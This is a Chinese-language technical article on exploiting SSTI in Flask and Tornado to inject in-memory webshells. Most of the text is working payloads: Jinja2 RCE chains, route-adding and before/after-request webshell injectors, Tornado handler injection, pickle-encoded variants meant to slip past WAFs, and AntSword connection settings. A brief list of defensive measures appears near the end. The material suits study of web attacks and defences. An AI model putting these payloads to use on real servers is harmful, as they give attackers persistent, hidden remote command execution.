Flask和Tornado的SSTI内存马注入技术研究

0x00 前言

本文详细研究Python SSTI(Server-Side Template Injection)漏洞在Flask和Tornado框架中的利用技术，特别是如何注入内存马(内存Webshell)并进行图形化管理。通过分析实际攻击案例，探索了多种绕过WAF的方法，并实现了与中国蚁剑的集成。

0x01 Flask SSTI基础研究

漏洞环境搭建

Flask SSTI漏洞通常出现在直接将用户输入拼接到模板中的情况：

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

基本利用方法

通过以下payload可以判断存在SSTI：

{{7*7}}  # 返回49则存在漏洞

关键Python魔术方法：

• __class__ - 当前类
• __mro__ - 所有父类
• __subclasses__() - 所有子类
• __globals__ - 全局变量
• __builtins__ - Python内置标识符
• __import__ - 导入模块

RCE Payload示例：

{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}

0x02 Flask内存马注入技术

基本内存马原理

内存马的核心思想是动态添加路由，在路由中执行恶意代码。Flask中可以使用app.add_url_rule()方法。

初始Payload尝试

网上常见但可能失效的Payload：

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read(), {'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app']})"
)

有效Payload开发

通过flask.globals访问上下文变量：

{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('flask').globals.current_app.add_url_rule('/abking123', 'abking123', lambda :__import__('os').popen(__import__('flask').globals.request.args.get('abking')).read())") }}

访问/abking123?abking=whoami即可执行命令。

新版Flask绕过技术

新版Flask在setupmethod装饰器中增加了校验函数，导致add_url_rule()失效。解决方案是使用before_request或after_request。

before_request Payload:

{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read())\")==None else None)") }}

after_request Payload:

{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read())\")==None else resp)") }}

0x03 加密传输技术

使用pickle.loads()进行反序列化实现加密传输：

import pickle
import base64

code = """def f():
    return __import__('os').popen('whoami').read()
f()"""

class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)

base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)
pickle.loads(base64.b64decode(base64_class))

SSTI Payload中使用：

{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('BASE64_CODE_HERE'))") }}

0x04 中国蚁剑集成

低版本Flask内存马生成

import pickle
import base64

code = """def f():
    return __import__('flask').globals.current_app.add_url_rule('/abking123', 'abking123', lambda: __import__('os').popen(__import__('flask').globals.request.form['abking']).read(), methods=['POST'])
f()"""

class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)

base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

通杀版本Flask内存马生成

import pickle
import base64

code = """def f():
    return __import__('flask').globals.current_app.before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())")==None else None)
f()"""

class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)

base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

蚁剑连接配置

• URL: http://target/abking123
• 密码: abking
• 方法: POST

0x05 Tornado内存马注入

基础SSTI环境

import tornado.ioloop
import tornado.web

class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        tornado.web.RequestHandler._template_loaders = {}  # 清空模板引擎
        with open('index.html', 'w') as (f):
            f.write(self.get_argument('name'))
        self.render('index.html')

app = tornado.web.Application([(r"/", IndexHandler)],)
app.listen(5000, address="127.0.0.1")
tornado.ioloop.IOLoop.current().start()

RCE Payload

{{handler.application.settings['autoreload']=False;handler.application.settings['compiled_template_cache']=False;handler._template_loaders={};handler.application.add_handlers(".*$", [(r"/abking123", type("x", (__import__("tornado").web.RequestHandler,), {"post": lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}) )])}}

蚁剑兼容Payload

{{handler.application.add_handlers(".*$", [(r"/abking123", type("x", (__import__("tornado").web.RequestHandler,), {"post": lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}) )])}}

加密版本

import pickle
import base64

code = """def f():
    return handler.application.add_handlers(".*$", [(r"/abking123", type("x", (__import__("tornado").web.RequestHandler,), {"post": lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}) )])
f()"""

class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)

base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

0x06 防御建议

1. 避免直接将用户输入拼接到模板中
2. 使用模板引擎的安全配置，如Jinja2的autoescape
3. 及时更新框架版本
4. 部署WAF规则检测SSTI特征
5. 监控异常路由添加行为
6. 限制pickle反序列化操作

0x07 总结

本文详细研究了Flask和Tornado框架中的SSTI漏洞利用技术，特别是内存马注入方法。通过多种技术手段实现了：

• 基础SSTI到RCE的利用
• 内存马的注入与持久化
• 新版Flask的绕过技术
• 加密传输绕过WAF
• 与中国蚁剑的集成

这些技术对于红队渗透测试和蓝队防御都具有重要参考价值。